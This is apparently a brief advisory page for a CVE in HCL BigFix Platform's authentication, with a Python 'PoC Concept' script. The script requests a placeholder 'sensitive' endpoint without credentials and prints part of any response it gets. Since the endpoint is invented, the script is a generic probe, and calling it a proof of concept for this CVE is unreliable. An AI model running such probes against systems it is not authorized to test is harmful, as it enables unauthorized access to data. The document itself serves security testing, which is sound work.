HCL BigFix Platform is affected by insufficient authentication. The application might allow users to access sensitive areas of the application without proper authentication.
The following code is for security research and authorized testing only.
python
# CVE-2026-21767 PoC Concept (HCL BigFix Platform Insufficient Authentication)
# Description: This script attempts to access a sensitive endpoint without authentication.
import requests
import sys
def check_vulnerability(target_url):
# Example sensitive endpoint that should require authentication
# Replace with actual vulnerable endpoint path based on vendor advisory
sensitive_path = "/api/sensitive/configuration"
full_url = f"{target_url}{sensitive_path}"
print(f"[*] Attempting to access: {full_url}")
try:
# Send request without any authentication headers or cookies
response = requests.get(full_url, timeout=10)
if response.status_code == 200:
print("[+] Potential vulnerability detected!")
print("[+] Server responded with 200 OK without authentication.")
print(f"[+] Response snippet: {response.text[:200]}")
elif response.status_code == 401 or response.status_code == 403:
print("[-] Access denied. Authentication is working properly.")
else:
print(f"[?] Unexpected status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python poc.py <http://target_ip:port>")
else:
check_vulnerability(sys.argv[1])